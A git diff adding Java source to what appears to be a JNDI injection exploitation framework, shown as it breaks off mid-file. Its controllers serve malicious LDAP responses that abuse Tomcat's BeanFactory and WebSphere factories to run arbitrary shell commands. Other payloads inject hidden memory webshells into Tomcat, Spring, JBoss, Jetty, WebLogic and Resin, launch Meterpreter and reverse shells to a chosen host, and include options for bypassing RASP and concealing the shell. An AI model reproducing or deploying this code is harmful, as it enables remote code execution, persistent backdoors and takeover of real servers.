+import com.qi4l.jndi.template.memshell.struts2.Struts2ActionMS; +import com.qi4l.jndi.template.memshell.tomcat.*; +import com.qi4l.jndi.template.memshell.weblogic.WsWeblogic; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.cli.CommandLine; +import org.apache.commons.cli.CommandLineParser; +import org.apache.commons.cli.DefaultParser; +import org.apache.commons.cli.Options; +import org.apache.commons.codec.binary.Base64; +import org.apache.naming.ResourceRef; + +import javax.naming.StringRefAddr; + +import java.io.IOException; +import java.lang.reflect.Field; + +import static org.fusesource.jansi.Ansi.ansi; + + +@LdapMapping(uri = {"/tomcatbypass"}) +public class TomcatBypassController implements LdapController { + private PayloadType payloadType; + private String[] params; + private GadgetType gadgetType; + + public static CommandLine cmdLine; + + /** + * 发送LDAP ResourceRef结果和重定向URL + * + * @param result InMemoryInterceptedSearchResult类型的结果 + * @param base 基本远程参考负载字符串 + * @throws Exception 异常 + */ + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + System.out.println(ansi().render("@|green [+]|@ Sending LDAP ResourceRef result for" + base + " with javax.el.ELProcessor payload")); + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + //准备在 org.apache.naming.factory.BeanFactory 中利用不安全反射的负载 + //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "x=eval")); + + TomcatBypassHelper helper = new TomcatBypassHelper(); + String code = null; + + + //具体分化在这里 + switch (payloadType) { + case command: + code = helper.getExecCode(params[0]); + break; + case tomcatecho: + code = helper.injectTomcatEcho(); + break; + case springecho: + code = helper.injectSpringEcho(); + break; + case weblogicecho: + code = helper.injectWeblogicEcho(); + break; + case websphereecho: + code = helper.injectWebsphereEcho(); + break; + case resinecho: + code = helper.injectResinEcho(); + break; + case windowsecho: + code = helper.injectWindowsEcho(); + break; + case linuxecho1: + code = helper.injectLinuxEcho1(); + break; + case linuxecho2: + code = helper.injectLinuxEcho2(); + break; + case jettyecho: + code = helper.injectJettyEcho(); + break; + case issuccess: + code = helper.injectSuccess(); + break; + case meterpreter: + code = helper.injectMeterpreter(); + break; + case tomcatfilterjmx: + code = helper.injectTomcatFilterJmx(); + break; + case tomcatfilterth: + code = helper.injectTomcatFilterTh(); + break; + case tomcatlistenerjmx: + code = helper.injectTomcatListenerJmx(); + break; + case struts2actionms: + code = helper.injectStruts2ActionMS(); + break; + case tomcatlistenerth: + code = helper.injectTomcatListenerTh(); + break; + case tomcatservletjmx: + code = helper.injectTomcatServletJmx(); + break; + case tomcatservletth: + code = helper.injectTomcatServletTh(); + break; + case jbossfilter: + code = helper.injectJBossFilter(); + break; + case jbossservlet: + code = helper.injectJBossServlet(); + break; + case springinterceptor: + code = helper.injectSpringInterceptor(); + break; + case springcontroller: + code = helper.injectSpringControllerMS(); + break; + case wsfilter: + code = helper.injectWSFilter(); + break; + case jettyfilter: + code = helper.injectJettyFilter(); + break; + case jettyservlet: + code = helper.injectJettyServlet(); + break; + case tomcatexecutor: + code = helper.injectTomcatExecutor(); + break; + case resinfilterth: + code = helper.injectResinFilterTh(); + break; + case resinservletth: + code = helper.injectResinServletTh(); + break; + case tomcatupgrade: + code = helper.injectTomcatUpgrade(); + break; + case jbossecho: + code = helper.injectJbossEcho(); + break; + case allecho: + code = helper.injectAllEcho(); + break; + case cmsmsbync: + code = helper.injectcmsMSBYNC(); + break; + case proxymsbync: + code = helper.injectproxyMSBYNC(); + break; + case wsresin: + code = helper.injectWsResin(); + break; + case mstsjser: + code = helper.injectMsTSJser(); + break; + case mstsjproxy: + code = helper.injectMsTSJproxy(); + break; + case wsweblogic: + code = helper.injectWsWeblogic(); + break; + case wswebsphereproxy: + code = helper.injectWSWebsphereProxy(); + break; + } + String payloadTemplate = "{" + + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + + ".newInstance().getEngineByName(\"JavaScript\")" + + ".eval(\"{replacement}\")" + + "}"; + String finalPayload = payloadTemplate.replace("{replacement}", code); + ref.add(new StringRefAddr("x", finalPayload)); + e.addAttribute("javaSerializedData", Util.serialize(ref)); + // 将条目发送至结果中,并将结果设置为成功 + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + /** + * 处理传入的参数 base + * + * @param base 传入的参数 + * @throws UnSupportedPayloadTypeException 不支持的载荷类型异常 + * @throws IncorrectParamsException 错误的参数异常 + * @throws UnSupportedGadgetTypeException 不支持的 Gadget 类型异常 + */ + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + try { + base = base.replace('\\', '/'); + // 获取第一个斜杠的索引 + int fistIndex = base.indexOf("/"); + // 获取第二个斜杠的索引 + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型 + payloadType = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase()); + System.out.println(ansi().render("@|green [+]|@ PaylaodType >> " + payloadType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + base.substring(fistIndex + 1, secondIndex)); + } + // 将类型值设为从第三个斜杠后的字符串到第四个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型 + int thirdIndex = base.indexOf("/", secondIndex + 1); + // 如果为空则进入下面逻辑 + if (thirdIndex != -1) { + if (thirdIndex < 0) thirdIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.shell) { + String arg = Util.getCmdFromBase(base); + String[] args = arg.split(" "); + Options options = new Options(); + options.addOption("t", "Type", false, "选择内存马的类型"); + options.addOption("a", "AbstractTranslet", false, "恶意类是否继承 AbstractTranslet"); + options.addOption("o", "obscure", false, "使用反射绕过"); + options.addOption("w", "winAgent", false, "Windows下使用Agent写入"); + options.addOption("l", "linAgent", false, "Linux下使用Agent写入"); + options.addOption("u", "url", true, "内存马绑定的路径,default [/version.txt]"); + options.addOption("pw", "password", true, "内存马的密码,default [p@ssw0rd]"); + options.addOption("r", "referer", true, "内存马 Referer check,default [https://nu1r.cn/]"); + options.addOption("h", "hide-mem-shell", false, "通过将文件写入$JAVA_HOME来隐藏内存shell,目前只支持SpringControllerMS"); + options.addOption("ht", "hide-type", true, "隐藏内存外壳,输入1:write /jre/lib/charsets.jar 2:write /jre/classes/"); + + CommandLineParser parser = new DefaultParser(); + + try { + cmdLine = parser.parse(options, args); + } catch (Exception e) { + System.out.println("[*] Parameter input error, please use -h for more information"); + } + + if (cmdLine.hasOption("Type")) { + Config.Shell_Type = cmdLine.getOptionValue("Type"); + //System.out.println("内存shell >>" + Shell_Type); + } + + if (cmdLine.hasOption("winAgent")) { + Config.winAgent = true; + System.out.println(ansi().render("@|green [+]|@Windows下使用Agent写入")); + } + + if (cmdLine.hasOption("linAgent")) { + Config.winAgent = true; + System.out.println(ansi().render("@|green [+]|@Linux下使用Agent写入")); + } + + if (cmdLine.hasOption("obscure")) { + Config.IS_OBSCURE = true; + System.out.println(ansi().render("@|green [+]|@使用反射绕过RASP")); + } + + if (cmdLine.hasOption("url")) { + String url = cmdLine.getOptionValue("url"); + if (!url.startsWith("/")) { + url = "/" + url; + } + Config.URL_PATTERN = url; + System.out.println("[+] Path:" + Config.URL_PATTERN); + } + + if (cmdLine.hasOption("password")) { + Config.PASSWORD = HexUtils.generatePassword(cmdLine.getOptionValue("password")); + System.out.println("[+] Password:" + Config.PASSWORD); + } + + if (cmdLine.hasOption("referer")) { + Config.HEADER_KEY = cmdLine.getOptionValue("referer"); + System.out.println("[+] referer:" + Config.HEADER_KEY); + } + + if (cmdLine.hasOption("AbstractTranslet")) { + Config.IS_INHERIT_ABSTRACT_TRANSLET = true; + System.out.println("[+] 继承恶意类AbstractTranslet"); + } + + if (cmdLine.hasOption("hide-mem-shell")) { + Config.HIDE_MEMORY_SHELL = true; + + if (cmdLine.hasOption("hide-type")) { + Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type")); + } + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().render("@|green [+]|@ Command >>" + cmd)); + params = new String[]{cmd}; + } + if (gadgetType == GadgetType.msf) { + String[] results1 = Util.getIPAndPortFromBase(base); + Config.rhost = results1[0]; + Config.rport = results1[1]; + System.out.println("[+] RemotHost: " + results1[0]); + System.out.println("[+] RemotPort: " + results1[1]); + params = results1; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } + + private class TomcatBypassHelper { + + public String getExecCode(String cmd) throws IOException { + + String code = "var strs=new Array(3);\n" + + " if(java.io.File.separator.equals('/')){\n" + + " strs[0]='/bin/bash';\n" + + " strs[1]='-c';\n" + + " strs[2]='" + cmd + "';\n" + + " }else{\n" + + " strs[0]='cmd';\n" + + " strs[1]='/C';\n" + + " strs[2]='" + cmd + "';\n" + + " }\n" + + " java.lang.Runtime.getRuntime().exec(strs);"; + + return code; + } + + public String injectTomcatEcho() { + return InjShell.injectClass(TomcatEcho.class); + } + + public String injectJbossEcho() { + return InjShell.injectClass(JbossEcho.class); + } + + public String injectResinEcho() { + return InjShell.injectClass(resinEcho.class); + } + + public String injectSpringEcho() { + return InjShell.injectClass(SpringEcho.class); + } + + public String injectWeblogicEcho() { + return InjShell.injectClass(weblogicEcho.class); + } + + public String injectWebsphereEcho() { + return InjShell.injectClass(websphereEcho.class); + } + + public String injectWindowsEcho() { + return InjShell.injectClass(WindowsEcho.class); + } + + public String injectLinuxEcho1() { + return InjShell.injectClass(LinuxEcho1.class); + } + + public String injectLinuxEcho2() { + return InjShell.injectClass(LinuxEcho2.class); + } + + public String injectJettyEcho() { + return InjShell.injectClass(jettyEcho.class); + } + + public String injectAllEcho() { + return InjShell.injectClass(AllEcho.class); + } + + public String injectcmsMSBYNC() { + return InjShell.injectClass(cmsMSBYNC.class); + } + + public String injectproxyMSBYNC() { + return InjShell.injectClass(proxyMSBYNC.class); + } + + public String injectWsResin() { + return InjShell.injectClass(WsResin.class); + } + + public String injectMsTSJser() { + return InjShell.injectClass(MsTSJser.class); + } + + public String injectMsTSJproxy() { + return InjShell.injectClass(MsTSJproxy.class); + } + + public String injectWsWeblogic() { + return InjShell.injectClass(WsWeblogic.class); + } + + public String injectWSWebsphereProxy() { + return InjShell.injectClass(WSWebsphereProxy.class); + } + + public String injectSuccess() { + return InjShell.injectClass(isSuccess.class); + } + + // public String injectMeterpreter(){return injectClass(Meterpreter.class);} + public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { + Class ctClazz = Class.forName("com.qi4l.jndi.template.Meterpreter"); + Field WinClassName = ctClazz.getDeclaredField("host"); + WinClassName.setAccessible(true); + WinClassName.set(ctClazz, params[0]); + Field WinclassBody = ctClazz.getDeclaredField("port"); + WinclassBody.setAccessible(true); + WinclassBody.set(ctClazz, params[1]); + return InjShell.injectClass(ctClazz); + } + + public String injectTomcatFilterJmx() throws Exception { + return InjShell.structureShellTom(TSMSFromJMXF.class); + } + + public String injectTomcatFilterTh() throws Exception { + return InjShell.structureShellTom(TFMSFromThreadF.class); + } + + public String injectStruts2ActionMS() throws Exception { + return InjShell.structureShellTom(Struts2ActionMS.class); + } + + public String injectTomcatListenerJmx() throws Exception { + return InjShell.structureShellTom(TLMSFromJMXLi.class); + } + + public String injectTomcatListenerTh() throws Exception { + return InjShell.structureShellTom(TFMSFromThreadLi.class); + } + + public String injectTomcatServletJmx() throws Exception { + return InjShell.structureShellTom(TSMSFromJMXS.class); + } + + public String injectTomcatServletTh() throws Exception { + return InjShell.structureShellTom(TFMSFromThreadS.class); + } + + public String injectJBossFilter() throws Exception { + return InjShell.structureShellTom(JBFMSFromContextF.class); + } + + public String injectJBossServlet() throws Exception { + return InjShell.structureShellTom(JBSMSFromContextS.class); + } + + public String injectJettyFilter() throws Exception { + return InjShell.structureShellTom(JFMSFromJMXF.class); + } + + public String injectJettyServlet() throws Exception { + return InjShell.structureShellTom(JSMSFromJMXS.class); + } + + public String injectWSFilter() throws Exception { + Config.init(); + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(WSFMSFromThread.class)); + CtClass ctClass = pool.get(WSFMSFromThread.class.getName()); + InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "ws"); + ctClass.setName(ClassNameUtils.generateClassName()); + if (Config.winAgent) { + InjShell.TinsertWinAgent(ctClass); + return InjShell.injectClass(WinMenshell.class); + } + if (Config.linAgent) { + InjShell.TinsertLinAgent(ctClass); + return InjShell.injectClass(WinMenshell.class); + } + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameUtils.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; + String className = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(className); + + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + CtClass superClass = pool.get(abstTranslet.getName()); + newClass.setSuperclass(superClass); + } + + return InjShell.injectClass(newClass.getClass()); + } + } + + return InjShell.injectClass(ctClass.getClass()); + } + + public String injectTomcatExecutor() throws Exception { + Config.init(); + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(TWSMSFromThread.class)); + CtClass ctClass = pool.get(TWSMSFromThread.class.getName()); + InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "execute"); + ctClass.setName(ClassNameUtils.generateClassName()); + if (Config.winAgent) { + InjShell.TinsertWinAgent(ctClass); + return InjShell.injectClass(WinMenshell.class); + } + if (Config.linAgent) { + InjShell.TinsertLinAgent(ctClass); + return InjShell.injectClass(WinMenshell.class); + } + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameUtils.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; + String className = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(className); + + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + CtClass superClass = pool.get(abstTranslet.getName()); + newClass.setSuperclass(superClass); + } + + return InjShell.injectClass(newClass.getClass()); + } + } + + return InjShell.injectClass(ctClass.getClass()); + } + + public String injectSpringInterceptor() throws Exception { + return InjShell.structureShellTom(SpringInterceptorMS.class); + } + + public String injectSpringControllerMS() throws Exception { + return InjShell.structureShellTom(SpringControllerMS.class); + } + + public String injectResinFilterTh() throws Exception { + return InjShell.structureShellTom(RFMSFromThreadF.class); + } + + public String injectResinServletTh() throws Exception { + return InjShell.structureShellTom(RSMSFromThreadS.class); + } + + public String injectTomcatUpgrade() throws Exception { + Config.init(); + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(TWSMSFromThread.class)); + CtClass ctClass = pool.get(TWSMSFromThread.class.getName()); + InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "upgrade"); + ctClass.setName(ClassNameUtils.generateClassName()); + if (Config.winAgent) { + InjShell.TinsertWinAgent(ctClass); + return InjShell.injectClass(WinMenshell.class); + } + if (Config.linAgent) { + InjShell.TinsertLinAgent(ctClass); + return InjShell.injectClass(WinMenshell.class); + } + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameUtils.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; + String className = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(className); + + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + CtClass superClass = pool.get(abstTranslet.getName()); + newClass.setSuperclass(superClass); + } + + return InjShell.injectClass(newClass.getClass()); + } + } + return InjShell.injectClass(ctClass.getClass()); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/controllers/WebsphereBypassController.java b/src/main/java/com/qi4l/jndi/controllers/WebsphereBypassController.java new file mode 100644 index 00000000..e0d3782d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/WebsphereBypassController.java @@ -0,0 +1,135 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.enumtypes.WebsphereActionType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedActionTypeException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.util.Properties; + +import static org.fusesource.jansi.Ansi.ansi; + +/* + * Requires: + * - websphere v6-9 libraries in the classpath + */ + +@LdapMapping(uri = { "/webspherebypass" }) +public class WebsphereBypassController implements LdapController { + private WebsphereActionType actionType; + private String localJarPath; + private String injectUrl; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base)); + + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + + Reference ref; + if(actionType == WebsphereActionType.rce){ + //prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory + ref = new Reference("ExportObject", + "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null); + Properties refProps = new Properties(); + refProps.put("com.ibm.ws.client.classpath", localJarPath); + refProps.put("com.ibm.ws.client.classname", "xExportObject"); +// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps)); + + }else{ + //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory + ref = new Reference("ExploitObject", + "com.ibm.ws.webservices.engine.client.ServiceFactory", null); + ref.add(new StringRefAddr("WSDL location", injectUrl)); + ref.add(new StringRefAddr("service namespace","xxx")); + ref.add(new StringRefAddr("service local part","yyy")); + } + e.addAttribute("javaSerializedData", Util.serialize(ref)); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException { + try{ + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + if(secondIndex < 0) secondIndex = base.length(); + + try{ + actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType)); + }catch(IllegalArgumentException e){ + throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex)); + } + + switch(actionType){ + case list: + String file = base.substring(base.lastIndexOf("=") + 1); + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file)); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file; + break; + case rce: + String localJarFile = base.substring(base.lastIndexOf("=") + 1); + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile)); + localJarPath = localJarFile; + break; + case upload: + int thirdIndex = base.indexOf("/", secondIndex + 1); + if(thirdIndex < 0) thirdIndex = base.length(); + + PayloadType payloadType; + try{ + payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + // webspherebypass 只支持这 4 种类型的 PayloadType + if(payloadType != PayloadType.command && payloadType != PayloadType.dnslog + && payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell){ + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); + } + }catch(IllegalArgumentException e){ + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType)); + switch (payloadType){ + case command: + String cmd = Util.getCmdFromBase(base); + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd)); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd; + break; + case dnslog: + String url = base.substring(base.lastIndexOf("/") + 1); + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url)); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url; + break; + case reverseshell: + String[] results = Util.getIPAndPortFromBase(base); + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0])); + System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1])); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1]; + break; + case webspherememshell: + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell"; + break; + } + break; + } + }catch(Exception e){ + if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; + if(e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException)e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/controllers/utils/AESUtils.java b/src/main/java/com/qi4l/jndi/controllers/utils/AESUtils.java new file mode 100644 index 00000000..fd34de11 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/utils/AESUtils.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.controllers.utils; + +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +public class AESUtils { + private static final String ALGORITHM = "AES"; + private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; + private static final int KEY_SIZE = 16; + + public static String decrypt(String ciphertext, String key) throws Exception { + byte[] combinedBytes = Base64.getDecoder().decode(ciphertext); + byte[] ivBytes = new byte[KEY_SIZE]; + byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE]; + + System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE); + System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length); + + byte[] keyBytes = getKeyBytes(key); + SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); + IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); + + Cipher cipher = Cipher.getInstance(TRANSFORMATION); + cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec); + + byte[] decryptedBytes = cipher.doFinal(encryptedBytes); + return new String(decryptedBytes, StandardCharsets.UTF_8); + } + + private static byte[] getKeyBytes(String key) { + byte[] keyBytes = new byte[KEY_SIZE]; + byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8); + System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length)); + return keyBytes; + } +} diff --git a/src/main/java/com/qi4l/jndi/enumtypes/GadgetType.java b/src/main/java/com/qi4l/jndi/enumtypes/GadgetType.java new file mode 100644 index 00000000..9e63fd4e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/enumtypes/GadgetType.java @@ -0,0 +1,7 @@ +package com.qi4l.jndi.enumtypes; + +public enum GadgetType { + base64, + shell, + msf, +} diff --git a/src/main/java/com/qi4l/jndi/enumtypes/PayloadType.java b/src/main/java/com/qi4l/jndi/enumtypes/PayloadType.java new file mode 100644 index 00000000..f5168ef7 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/enumtypes/PayloadType.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.enumtypes; + +public enum PayloadType { + sethttp, + dnslog, + tomcatupgrade, + command, + reverseshell, + tomcatecho, + springecho, + weblogicecho, + windowsecho, + linuxecho2, + linuxecho1, + allecho, + websphereecho, + resinecho, + tomcatfilterjmx, + tomcatfilterth, + tomcatlistenerjmx, + tomcatlistenerth, + tomcatservletjmx, + tomcatservletth, + jbossfilter, + jbossservlet, + webspherememshell, + springinterceptor, + springcontroller, + issuccess, + jettyfilter, + jettyservlet, + struts2actionms, + wsfilter, + tomcatexecutor, + meterpreter, + resinfilterth, + resinservletth, + jbossecho, + jettyecho, + cmsmsbync, + proxymsbync, + wsresin, + mstsjproxy, + mstsjser, + wsweblogic, + wswebsphereproxy, +} diff --git a/src/main/java/com/qi4l/jndi/enumtypes/WebsphereActionType.java b/src/main/java/com/qi4l/jndi/enumtypes/WebsphereActionType.java new file mode 100644 index 00000000..14d52dae --- /dev/null +++ b/src/main/java/com/qi4l/jndi/enumtypes/WebsphereActionType.java @@ -0,0 +1,7 @@ +package com.qi4l.jndi.enumtypes; + +public enum WebsphereActionType { + list, + upload, + rce; +} diff --git a/src/main/java/com/qi4l/jndi/exceptions/IncorrectParamsException.java b/src/main/java/com/qi4l/jndi/exceptions/IncorrectParamsException.java new file mode 100644 index 00000000..9861321b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exceptions/IncorrectParamsException.java @@ -0,0 +1,10 @@ +package com.qi4l.jndi.exceptions; + +public class IncorrectParamsException extends RuntimeException { + public IncorrectParamsException(){ + super(); + } + public IncorrectParamsException(String message){ + super(message); + } +} diff --git a/src/main/java/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.java b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.java new file mode 100644 index 00000000..95758ad8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.java @@ -0,0 +1,10 @@ +package com.qi4l.jndi.exceptions; + +public class UnSupportedActionTypeException extends RuntimeException{ + public UnSupportedActionTypeException(){ + super(); + } + public UnSupportedActionTypeException(String message){ + super(message); + } +} diff --git a/src/main/java/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.java b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.java new file mode 100644 index 00000000..40833d64 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.java @@ -0,0 +1,8 @@ +package com.qi4l.jndi.exceptions; + +public class UnSupportedGadgetTypeException extends RuntimeException { + public UnSupportedGadgetTypeException(){ super();} + public UnSupportedGadgetTypeException(String message){ + super(message); + } +} diff --git a/src/main/java/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.java b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.java new file mode 100644 index 00000000..9343b24c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.java @@ -0,0 +1,10 @@ +package com.qi4l.jndi.exceptions; + +public class UnSupportedPayloadTypeException extends RuntimeException { + public UnSupportedPayloadTypeException(){ + super(); + } + public UnSupportedPayloadTypeException(String message){ + super(message); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver.java b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver.java new file mode 100644 index 00000000..942d45a9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver.java @@ -0,0 +1,101 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import 